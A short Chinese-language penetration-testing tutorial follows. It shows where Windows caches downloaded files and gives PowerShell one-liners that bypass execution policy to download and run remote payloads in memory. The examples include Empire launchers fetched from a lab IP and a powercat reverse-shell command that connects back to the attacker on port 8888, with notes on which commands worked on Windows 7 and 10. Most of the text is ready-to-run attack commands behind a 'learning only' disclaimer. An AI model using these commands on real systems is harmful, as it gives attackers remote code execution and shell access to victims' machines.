声明:本文介绍的内容仅用于学习和研究目的,请勿用做非法用途。
取决于Windows系统的版本,通过HTTP下载的文件缓存位置为IE的本地缓存,在下面的路径之一:
- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
使用指向WebDav服务器的UNC路径下载的文件将保存在WebDAV客户端本地缓存:
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
在使用UNC路径下载payload时,需要WebClient 服务启动,如果没有启动,可在命令行前面加上pushd \webdavserver & popd命令。
PowerShell下载&执行
-
HTTP服务器
使用PowerShell从HTTP服务器下载文件并执行,可以如下命令之一:
powershell -exec bypass -c “(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr(‘http://webserver/payload.ps1’)|iex”
powershell.exe -ep Bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString(‘https://[website]/malware.ps1’))
此时,payload未写到磁盘,执行网络调用的进程为Powershell。
使用Empire作为例子,使用命令launcher powershell <listener_name>,将输出结果报存到.ps1文件即可。
使用如下命令时,win7报错可能为版本问题,win10使用empire payload可成功执行:powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://192.168.49.160:8000/payload.ps1')|iex"
下面命令,win7,10使用empire payload成功执行:powershell.exe -ep Bypass -nop -noexit -c "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.49.160:8000/payload.ps1'))"
反弹shell,win7,win10成功:powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.49.160:8000/powercat.ps1');powercat -c 192.168.49.160 -p 8888 -e cmd"